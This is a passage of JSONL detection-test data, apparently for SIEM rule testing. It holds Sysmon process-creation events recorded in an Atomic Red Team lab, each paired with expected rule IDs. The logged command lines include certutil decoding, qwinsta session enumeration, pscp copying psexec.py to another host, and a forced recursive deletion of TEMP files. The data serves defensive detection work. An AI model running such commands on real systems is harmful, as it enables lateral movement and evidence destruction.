(WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=ED314BE18A50107B404681FA5FD74B6B17109CBE,MD5=AB8F510E2A9B9F932A6AB1BBA4E73ED9,SHA256=97DB9285A916F00B0C8149C7B36438726E227C5DD26E874037734C23B50066DC,IMPHASH=7B7F7ED372C027216AE5100589C424EA", "win.eventdata.image": "C:\\\\Windows\\\\certutil.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "CertUtil.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-6c17-60e3-8f01-000000004800}", "win.eventdata.processId": "3960", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1202,technique_name=Indirect Command Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 20:31:19.061", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "253469", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T20:31:19.0634236Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92018", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "CertUtil.exe used to decode binary file"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"MsMpEng.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\MsMpEng.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"Antimalware Service Executable\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-68de-60e3-7d01-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"4304\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\\",\"utcTime\":\"2021-07-05 20:17:34.077\",\"hashes\":\"SHA1=85536AD6AFEE43B728ED12EE8CFFCA41F74F6446,MD5=CA2DE21D04A42228B707ABCE64EBBC8B,SHA256=2CCB6063389F3512BE2EF169E236C7474380C542ABD82B4B6BCAA8DEE2E3DCBE,IMPHASH=E568A0358C31B8910DC7FFF649D3FE0D\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.003,technique_name=Windows Command Shell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"msmpeng\",\"integrityLevel\":\"High\",\"fileVersion\":\"4.18.1909.6 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.003,technique_name=Windows Command Shell\\r\\nUtcTime: 2021-07-05 20:17:34.077\\r\\nProcessGuid: {4dc16835-68de-60e3-7d01-000000004800}\\r\\nProcessId: 4304\\r\\nImage: C:\\\\Windows\\\\MsMpEng.exe\\r\\nFileVersion: 4.18.1909.6 (WinBuild.160101.0800)\\r\\nDescription: Antimalware Service Executable\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: MsMpEng.exe\\r\\nCommandLine: msmpeng\\r\\nCurrentDirectory: C:\\\\Windows\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=85536AD6AFEE43B728ED12EE8CFFCA41F74F6446,MD5=CA2DE21D04A42228B707ABCE64EBBC8B,SHA256=2CCB6063389F3512BE2EF169E236C7474380C542ABD82B4B6BCAA8DEE2E3DCBE,IMPHASH=E568A0358C31B8910DC7FFF649D3FE0D\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T20:17:34.0803610Z\",\"eventRecordID\":\"253242\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "msmpeng", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\", "win.eventdata.description": "Antimalware Service Executable", "win.eventdata.fileVersion": "4.18.1909.6 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=85536AD6AFEE43B728ED12EE8CFFCA41F74F6446,MD5=CA2DE21D04A42228B707ABCE64EBBC8B,SHA256=2CCB6063389F3512BE2EF169E236C7474380C542ABD82B4B6BCAA8DEE2E3DCBE,IMPHASH=E568A0358C31B8910DC7FFF649D3FE0D", "win.eventdata.image": "C:\\\\Windows\\\\MsMpEng.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "MsMpEng.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-68de-60e3-7d01-000000004800}", "win.eventdata.processId": "4304", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.003,technique_name=Windows Command Shell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 20:17:34.077", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "253242", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T20:17:34.0803610Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92019", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Windows Defender executed from suspicious path, possible DLL side-loading"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"qwinsta.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\qwinsta.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{86107A5D-799F-60E7-7DC7-150100000000}\",\"description\":\"Query Session Utility\",\"logonGuid\":\"{86107A5D-76D7-60E7-8BFB-390000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\\\\\"\",\"processGuid\":\"{86107A5D-7C05-60E7-F289-D00100000000}\",\"logonId\":\"0x39fb8b\",\"parentProcessId\":\"6272\",\"processId\":\"7808\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\Administrator\\\\\\\\\",\"utcTime\":\"2021-07-08 22:28:21.470\",\"hashes\":\"SHA1=FA14C6ED7BF22CD174D95642DC2C58105299BE1D,MD5=D36DBFEBFDF8580FD6A3945548DC2208,SHA256=4E4F3651C108BB2D3B660DC1FE492373EAC23BC9D4C79B2D65521D03732797C0,IMPHASH=374BAB87D27C0874C5C374A1D2C1F399\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"ruleName\":\"technique_id=T1086,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\qwinsta.exe\\\\\\\" /server:hrmanager\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.14393.0 (rs1_release.160715-1616)\",\"user\":\"EXCHANGETEST\\\\\\\\Administrator\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-07-08 22:28:21.470\\r\\nProcessGuid: {86107A5D-7C05-60E7-F289-D00100000000}\\r\\nProcessId: 7808\\r\\nImage: C:\\\\Windows\\\\System32\\\\qwinsta.exe\\r\\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\\r\\nDescription: Query Session Utility\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: qwinsta.exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\system32\\\\qwinsta.exe\\\" /server:hrmanager\\r\\nCurrentDirectory: C:\\\\Users\\\\Administrator\\\\\\r\\nUser: EXCHANGETEST\\\\Administrator\\r\\nLogonGuid: {86107A5D-76D7-60E7-8BFB-390000000000}\\r\\nLogonId: 0x39FB8B\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=FA14C6ED7BF22CD174D95642DC2C58105299BE1D,MD5=D36DBFEBFDF8580FD6A3945548DC2208,SHA256=4E4F3651C108BB2D3B660DC1FE492373EAC23BC9D4C79B2D65521D03732797C0,IMPHASH=374BAB87D27C0874C5C374A1D2C1F399\\r\\nParentProcessGuid: {86107A5D-799F-60E7-7DC7-150100000000}\\r\\nParentProcessId: 6272\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-08T22:28:21.473279400Z\",\"eventRecordID\":\"1280040\",\"threadID\":\"4028\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2664\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\system32\\\\qwinsta.exe\\\" /server:hrmanager", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\Administrator\\\\", "win.eventdata.description": "Query Session Utility", "win.eventdata.fileVersion": "10.0.14393.0 (rs1_release.160715-1616)", "win.eventdata.hashes": "SHA1=FA14C6ED7BF22CD174D95642DC2C58105299BE1D,MD5=D36DBFEBFDF8580FD6A3945548DC2208,SHA256=4E4F3651C108BB2D3B660DC1FE492373EAC23BC9D4C79B2D65521D03732797C0,IMPHASH=374BAB87D27C0874C5C374A1D2C1F399", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\qwinsta.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{86107A5D-76D7-60E7-8BFB-390000000000}", "win.eventdata.logonId": "0x39fb8b", "win.eventdata.originalFileName": "qwinsta.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{86107A5D-799F-60E7-7DC7-150100000000}", "win.eventdata.parentProcessId": "6272", "win.eventdata.processGuid": "{86107A5D-7C05-60E7-F289-D00100000000}", "win.eventdata.processId": "7808", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\Administrator", "win.eventdata.utcTime": "2021-07-08 22:28:21.470", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "1280040", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2664", "win.system.providerGuid": "{5770385F-C22A-43E0-BF4C-06F5698FFBD9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-08T22:28:21.473279400Z", "win.system.task": "1", "win.system.threadID": "4028", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92022", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Gathered user information from Remote Desktop Service sessions"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PSCP\",\"image\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\pscp.exe\",\"product\":\"PuTTY suite\",\"parentProcessGuid\":\"{4dc16835-3bdd-609c-5901-000000003b00}\",\"description\":\"Command-line SCP/SFTP client\",\"logonGuid\":\"{4dc16835-2e5f-609c-19a4-7c0000000000}\",\"parentCommandLine\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\",\"processGuid\":\"{4dc16835-416a-609c-7601-000000003b00}\",\"logonId\":\"0x7ca419\",\"parentProcessId\":\"5560\",\"processId\":\"2180\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\\",\"utcTime\":\"2021-05-12 20:58:18.149\",\"hashes\":\"SHA1=EE1B5F3A7F9563A9E7575EDDA467794584555F97,MD5=3145D4A197A3523253880E9E6E76F798,SHA256=7A09FD6885CA5662A40D6F9212C115D8F38C88F9C1BCDA697854BFB202F289B2,IMPHASH=C2612378E2F461D6FCF8743722ABEB7A\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.003,technique_name=Windows Command Shell\",\"company\":\"Simon Tatham\",\"commandLine\":\"pscp.exe -scp psexec.py administrator@Exchangetest.com@192.168.0.218:/tmp/psexec.py\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"Release 0.73\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.003,technique_name=Windows Command Shell\\r\\nUtcTime: 2021-05-12 20:58:18.149\\r\\nProcessGuid: {4dc16835-416a-609c-7601-000000003b00}\\r\\nProcessId: 2180\\r\\nImage: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\pscp.exe\\r\\nFileVersion: Release 0.73\\r\\nDescription: Command-line SCP/SFTP client\\r\\nProduct: PuTTY suite\\r\\nCompany: Simon Tatham\\r\\nOriginalFileName: PSCP\\r\\nCommandLine: pscp.exe -scp psexec.py administrator@Exchangetest.com@192.168.0.218:/tmp/psexec.py\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-2e5f-609c-19a4-7c0000000000}\\r\\nLogonId: 0x7CA419\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=EE1B5F3A7F9563A9E7575EDDA467794584555F97,MD5=3145D4A197A3523253880E9E6E76F798,SHA256=7A09FD6885CA5662A40D6F9212C115D8F38C88F9C1BCDA697854BFB202F289B2,IMPHASH=C2612378E2F461D6FCF8743722ABEB7A\\r\\nParentProcessGuid: {4dc16835-3bdd-609c-5901-000000003b00}\\r\\nParentProcessId: 5560\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\"version\":\"5\",\"systemTime\":\"2021-05-12T20:58:18.1529188Z\",\"eventRecordID\":\"199658\",\"threadID\":\"3320\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2080\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "pscp.exe -scp psexec.py administrator@Exchangetest.com@192.168.0.218:/tmp/psexec.py", "win.eventdata.company": "Simon Tatham", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\", "win.eventdata.description": "Command-line SCP/SFTP client", "win.eventdata.fileVersion": "Release 0.73", "win.eventdata.hashes": "SHA1=EE1B5F3A7F9563A9E7575EDDA467794584555F97,MD5=3145D4A197A3523253880E9E6E76F798,SHA256=7A09FD6885CA5662A40D6F9212C115D8F38C88F9C1BCDA697854BFB202F289B2,IMPHASH=C2612378E2F461D6FCF8743722ABEB7A", "win.eventdata.image": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\pscp.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-2e5f-609c-19a4-7c0000000000}", "win.eventdata.logonId": "0x7ca419", "win.eventdata.originalFileName": "PSCP", "win.eventdata.parentCommandLine": "C:\\\\Windows\\\\system32\\\\cmd.exe", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-3bdd-609c-5901-000000003b00}", "win.eventdata.parentProcessId": "5560", "win.eventdata.processGuid": "{4dc16835-416a-609c-7601-000000003b00}", "win.eventdata.processId": "2180", "win.eventdata.product": "PuTTY suite", "win.eventdata.ruleName": "technique_id=T1059.003,technique_name=Windows Command Shell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-05-12 20:58:18.149", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "199658", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2080", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-05-12T20:58:18.1529188Z", "win.system.task": "1", "win.system.threadID": "3320", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92020", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "A file was copied to other system over SSH using pscp.exe"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-1eb6-60f7-99b1-260000000000}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-1d4f-60f7-39ca-130000000000}\",\"parentCommandLine\":\"cmd.exe\",\"processGuid\":\"{4dc16835-2c0a-60f7-46c4-570000000000}\",\"logonId\":\"0x13ca39\",\"parentProcessId\":\"6056\",\"processId\":\"3328\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\\",\"utcTime\":\"2021-07-20 20:03:22.083\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1086,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"powershell.exe -c Remove-Item $env:TEMP\\\\\\\\* -Recurse -Force -Erroraction 'silentlycontinue'\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-07-20 20:03:22.083\\r\\nProcessGuid: {4dc16835-2c0a-60f7-46c4-570000000000}\\r\\nProcessId: 3328\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: powershell.exe -c Remove-Item $env:TEMP\\\\* -Recurse -Force -Erroraction 'silentlycontinue'\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-1d4f-60f7-39ca-130000000000}\\r\\nLogonId: 0x13CA39\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-1eb6-60f7-99b1-260000000000}\\r\\nParentProcessId: 6056\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: powershell -ExecutionPolicy Bypass -NoExit .\\\\meta.ps1\\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-20T20:03:22.0909717Z\",\"eventRecordID\":\"279401\",\"threadID\":\"3248\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2392\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "powershell.exe -c Remove-Item $env:TEMP\\\\* -Recurse -Force -Erroraction 'silentlycontinue'", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-1d4f-60f7-39ca-130000000000}", "win.eventdata.logonId": "0x13ca39", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "cmd.exe", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-1eb6-60f7-99b1-260000000000}", "win.eventdata.parentProcessId": "6056", "win.eventdata.processGuid": "{4dc16835-2c0a-60f7-46c4-570000000000}", "win.eventdata.processId": "3328", "win.eventdata.product": "Microsoft® Windows® Operating System", 